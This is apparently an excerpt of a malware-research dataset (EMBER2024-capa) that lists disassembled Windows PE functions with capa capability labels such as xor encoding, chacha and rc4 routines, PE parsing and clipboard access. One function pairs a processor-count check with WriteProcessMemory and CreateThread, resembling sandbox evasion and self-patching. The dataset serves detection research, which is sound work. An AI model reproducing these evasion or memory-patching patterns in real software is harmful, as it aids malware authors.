joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401a9890
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
push r15
mov rsi, rcx
lea r14, [r8 + 0xe]
sub rsi, r8
lea r13, [0x1402e7030]
mov r12, r9
mov rbp, rdx
mov r11, rcx
nop word [rax + rax]
movzx eax, byte [r11 + 0xf]
mov rdi, r14
movzx ecx, byte [r14 + 1]
mov r15d, 0xf
xor rcx, rax
mov r9, rcx
and ecx, 0xf
add rcx, rcx
and r9, 0xfffffffffffffff0
mov r8, qword [rbp + rcx*8]
mov rcx, qword [rbp + rcx*8 + 8]
mov rax, r8
mov rdx, rcx
shr r8, 4
and edx, 0xf
shl rax, 0x3c
shr rcx, 4
or rax, rcx
mov rbx, qword [r13 + rdx*8]
xor rbx, r8
xor rbx, qword [r9 + rbp]
xor rax, qword [r9 + rbp + 8]
nop word [rax + rax]
movzx ecx, byte [rdi]
mov r9, rbx
movzx edx, byte [rsi + rdi]
lea rdi, [rdi - 1]
xor rdx, rcx
shr rbx, 4
mov rcx, rax
shl r9, 0x3c
shr rax, 4
and ecx, 0xf
or r9, rax
mov r10, rdx
and r10, 0xfffffffffffffff0
and edx, 0xf
add rdx, rdx
mov r8, qword [r13 + rcx*8]
xor r8, rbx
xor r9, qword [rbp + rdx*8 + 8]
xor r8, qword [rbp + rdx*8]
mov rcx, r9
and ecx, 0xf
shr r9, 4
mov rax, r8
shr r8, 4
shl rax, 0x3c
or rax, r9
mov rbx, qword [r13 + rcx*8]
xor rax, qword [r10 + rbp + 8]
xor rbx, r8
xor rbx, qword [r10 + rbp]
sub r15, 1
jne 0x1401a9930
mov rdx, rbx
mov byte [r11 + 7], bl
shr rdx, 0x20
add r14, 0x10
mov ecx, edx
mov byte [r11 + 3], dl
shr ecx, 0x18
sub rsi, 0x10
mov byte [r11], cl
mov ecx, edx
shr ecx, 0x10
mov byte [r11 + 1], cl
mov ecx, edx
shr ecx, 8
mov rdx, rax
mov byte [r11 + 2], cl
mov ecx, ebx
shr ecx, 0x18
mov byte [r11 + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [r11 + 5], cl
mov ecx, ebx
shr ecx, 8
mov byte [r11 + 6], cl
shr rdx, 0x20
mov ecx, edx
mov byte [r11 + 0xb], dl
shr ecx, 0x18
mov byte [r11 + 8], cl
mov ecx, edx
shr ecx, 0x10
mov byte [r11 + 9], cl
mov ecx, edx
shr ecx, 8
mov byte [r11 + 0xa], cl
mov ecx, eax
shr ecx, 0x18
mov byte [r11 + 0xc], cl
mov ecx, eax
shr ecx, 0x10
mov byte [r11 + 0xd], cl
mov ecx, eax
shr ecx, 8
mov byte [r11 + 0xe], cl
mov byte [r11 + 0xf], al
sub r12, 0x10
jne 0x1401a98d0
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
ret
Function at 0x1401a9a60
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
movzx eax, byte [rcx + 0xf]
lea r14, [0x1402e7030]
mov r10d, eax
mov rdi, rdx
and eax, 0xf
and r10, 0xfffffffffffffff0
add rax, rax
mov esi, 0xe
mov r9, qword [rdx + rax*8]
mov r8, qword [rdx + rax*8 + 8]
mov r11, r9
mov rax, r8
shr r9, 4
and eax, 0xf
shl r11, 0x3c
shr r8, 4
or r11, r8
mov rbx, qword [r14 + rax*8]
xor rbx, r9
xor rbx, qword [r10 + rdx]
xor r11, qword [r10 + rdx + 8]
nop word [rax + rax]
movzx edx, byte [rsi + rcx]
mov rax, r11
shr r11, 4
mov r9, rbx
shr rbx, 4
and eax, 0xf
shl r9, 0x3c
mov r10d, edx
or r9, r11
and r10, 0xfffffffffffffff0
and edx, 0xf
mov r8, qword [r14 + rax*8]
add rdx, rdx
xor r8, rbx
xor r9, qword [rdi + rdx*8 + 8]
xor r8, qword [rdi + rdx*8]
mov rax, r9
and eax, 0xf
shr r9, 4
mov r11, r8
shr r8, 4
shl r11, 0x3c
or r11, r9
mov rbx, qword [r14 + rax*8]
xor r11, qword [r10 + rdi + 8]
xor rbx, r8
xor rbx, qword [r10 + rdi]
sub rsi, 1
jns 0x1401a9ad0
mov rsi, qword [rsp + 0x10]
mov rdx, rbx
mov rdi, qword [rsp + 0x18]
mov r14, qword [rsp + 0x20]
shr rdx, 0x20
mov eax, edx
mov byte [rcx + 3], dl
shr eax, 0x18
mov byte [rcx], al
mov eax, edx
shr eax, 0x10
mov byte [rcx + 1], al
mov eax, edx
shr eax, 8
mov rdx, r11
mov byte [rcx + 2], al
mov eax, ebx
shr eax, 0x18
mov byte [rcx + 4], al
mov eax, ebx
shr eax, 0x10
mov byte [rcx + 5], al
mov eax, ebx
shr eax, 8
mov byte [rcx + 6], al
shr rdx, 0x20
mov eax, edx
mov byte [rcx + 7], bl
mov rbx, qword [rsp + 8]
shr eax, 0x18
mov byte [rcx + 8], al
mov eax, edx
shr eax, 0x10
mov byte [rcx + 9], al
mov eax, edx
shr eax, 8
mov byte [rcx + 0xa], al
mov eax, r11d
shr eax, 0x18
mov byte [rcx + 0xc], al
mov eax, r11d
shr eax, 0x10
mov byte [rcx + 0xd], al
mov eax, r11d
shr eax, 8
mov byte [rcx + 0xe], al
mov byte [rcx + 0xb], dl
mov byte [rcx + 0xf], r11b
ret
Function at 0x1401ada40
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x3f]
mov eax, 0xb0
call fcn.140255e30
sub rsp, rax
mov rax, qword [0x140391620]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [rbp + 0x7f]
mov r14, r8
mov dword [rbp - 0x11], 0x61707865
mov rsi, rdx
mov dword [rbp - 0xd], 0x3320646e
mov rdi, rcx
mov dword [rbp - 9], 0x79622d32
mov dword [rbp - 5], 0x6b206574
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [rbp - 1], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf], xmm1
movups xmmword [rbp + 0x1f], xmm0
test r8, r8
je 0x1401adbd4
mov qword [rsp + 0xd8], rbx
nop dword [rax + rax]
mov ebx, 0x40
lea rdx, [rbp - 0x11]
cmp r14, rbx
lea rcx, [rbp - 0x51]
cmovb rbx, r14
call fcn.1401adc00
xor eax, eax
test rbx, rbx
je 0x1401adbba
cmp rbx, 0x20
jb 0x1401adb85
lea rdx, [rdi - 1]
add rdx, rbx
lea rcx, [rbp + rbx - 0x52]
cmp rdi, rcx
ja 0x1401adb08
lea rcx, [rbp - 0x51]
cmp rdx, rcx
jae 0x1401adb85
lea rcx, [rsi - 1]
add rcx, rbx
cmp rdi, rcx
ja 0x1401adb19
cmp rdx, rsi
jae 0x1401adb85
lea rcx, [rbp - 0x51]
mov rdx, rsi
sub rdx, rcx
mov r9, rbx
lea rcx, [rbp - 0x51]
and r9, 0xffffffffffffffe0
mov r8, rdi
sub r8, rcx
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rbp + rax - 0x51]
lea rcx, [rdx + rax]
movdqu xmm1, xmmword [rbp + rcx - 0x51]
lea rcx, [r8 + rax]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rbp + rax - 0x41]
movdqu xmmword [rbp + rcx - 0x51], xmm1
lea rcx, [rdx + rax]
movdqu xmm1, xmmword [rbp + rcx - 0x41]
lea rcx, [r8 + rax]
add rax, 0x20
pxor xmm1, xmm0
movdqu xmmword [rbp + rcx - 0x41], xmm1
cmp rax, r9
jb 0x1401adb40
cmp rax, rbx
jae 0x1401adbba
lea rcx, [rbp - 0x51]
mov r8, rsi
sub r8, rcx
mov r9, rdi
lea rcx, [rbp - 0x51]
sub r9, rcx
nop
lea rdx, [rbp - 0x51]
add rdx, rax
inc rax
movzx ecx, byte [r8 + rdx]
xor cl, byte [rdx]
mov byte [r9 + rdx], cl
cmp rax, rbx
jb 0x1401adba0
inc dword [rbp + 0x1f]
add rdi, rbx
add rsi, rbx
sub r14, rbx
jne 0x1401adac0
mov rbx, qword [rsp + 0xd8]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140255050
mov rsi, qword [rsp + 0xe0]
add rsp, 0xb0
pop r14
pop rdi
pop rbp
ret
Function at 0x1401b0fc0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x38
call fcn.140255e30
sub rsp, rax
cmp dword [rsp + 0x68], 0
je 0x1401b0fe9
lea rax, [0x1401af590]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.1401a76e0
lea rax, [0x1401ae6f0]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.1401a7410
Function at 0x14021b940
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0xf0
call fcn.140255e30
sub rsp, rax
mov r14, r9
mov r15, r9
shr r14, 3
mov rbp, r8
mov rsi, rdx
mov rdi, rcx
cmp r8, r9
jb 0x14021ba3f
mov qword [rsp + 0x110], rbx
xor edx, edx
test r14, r14
je 0x14021b9f0
nop word [rax + rax]
movzx eax, byte [rsi + 6]
movzx ecx, byte [rsi + 7]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 5]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 4]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 3]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 2]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 1]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi]
shl rcx, 8
add rsi, 8
or rcx, rax
xor qword [rdi + rdx*8], rcx
inc rdx
cmp rdx, r14
jb 0x14021b990
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
mov r8, rbx
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.14021b570
lea r8, [rbx + 1]
mov rcx, rdi
lea rdx, [rsp + 0x20]
call fcn.14021b570
add rbx, 2
cmp rbx, 0x18
jb 0x14021ba00
sub rbp, r15
cmp rbp, r15
jae 0x14021b980
mov rbx, qword [rsp + 0x110]
lea r11, [rsp + 0xf0]
mov rax, rbp
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x14024b884
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x140235852
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140235835
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140235820

Function at 0x14026c290
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14026c123
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14026c123
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14026c123
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14026c123
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14026c123
cmp dword [rcx + 0x84], 0xe
jbe 0x14026c123
cmp dword [rcx + 0xf8], 0
je 0x14026c123
mov ecx, ebx
call fcn.14026c1c4
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14026bfb4
cmp dword [rbp + 0x20], 0
je 0x14026c170
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14026c178
int3
xor r8d, r8d
xor edx, edx
jmp 0x14026c0bc
Function at 0x180002500
Capabilities:
Create thread
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x180037040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x30], 0x90909090
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov r8d, eax
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000259e
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x58], 3
jbe 0x18000259e
call fcn.180001da0
test al, al
jne 0x18000259e
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
mov r9d, 4
mov edx, 0x401000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and qword [rsp + 0x28], 0
lea r8, [0x180002300]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180009cb0
add rsp, 0x70
pop rbx
ret

Function at 0x1800025c0
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x180037040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, rcx
cmp edx, 1
jne 0x180002606
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 3
jbe 0x1800025fd
call fcn.180001da0
test al, al
jne 0x1800025fd
call fcn.180002500
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180009cb0
add rsp, 0x60
pop rbx
ret

Function at 0x180023d00
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180023d28
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180023d28
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400076c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400076d0]
mov dword [rax], 1
mov rax, qword [0x1400076e0]
mov dword [rax], 1
mov rax, qword [0x140007640]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400076b0]
mov dword [0x14000a00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140007780]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140007760]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140007610]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001684
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x140001741
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.strlen
add rax, 1
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140001738
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140001738
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140001748
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.1400032a0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x1400017f3
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x1400017ce
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x1400017ce
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
jmp 0x1400017f3
nop
mov rax, qword [rbp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x140003660
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400036d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a0e4]
mov rbx, rcx
test esi, esi
jle 0x140003800
mov rax, qword [0x14000a0e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000371b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400037a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003700
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140003822
mov rax, qword [0x14000a0e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003807
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000379e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400037b0
add dword [0x14000a0e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000379e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140003728
mov rax, qword [0x14000a0e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003db0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a120]
test rbx, rbx
je 0x140003e0c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140003e03
test eax, eax
jne 0x140003e03
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003de8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140004020
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004038
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140004040
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004050
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000409d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140004094
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000409f
add rax, 0x28
cmp rax, r9
jne 0x140004080
xor eax, eax
ret

Function at 0x1400040a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140004130
mov rdx, qword [0x140007640]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000411e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000411e
cmp word [rax + 0x18], 0x20b
jne 0x14000411e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140004130
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140004109
add rbx, 0x28
cmp rbx, rdi
je 0x140004130
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140004100
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140004140
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140007640]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140004160
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140004168
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140004160
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400041bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400041b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140004160
add rax, 0x28
cmp rax, r9
jne 0x1400041a0
xor eax, eax
ret

Function at 0x1400041c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140007640]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400041df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400041e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400041df
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140004200
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140007640]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140004220
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140004228
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140004220
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140004270
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140004267
test rcx, rcx
je 0x140004220
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140004258
xor eax, eax
ret

Function at 0x140004280
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140007640]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000429f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400042a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400042c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140007640]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400042e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400042e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400042e0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400042e0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140004334
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140004340
add rdx, 0x28
cmp rdx, r9
jne 0x140004320
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140004350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140007640]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140004372
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140004380
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140004372
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140004372
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140004372
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400043d5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400043e8
add rdx, 0x28
cmp r10, rdx
jne 0x1400043c0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400043f7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
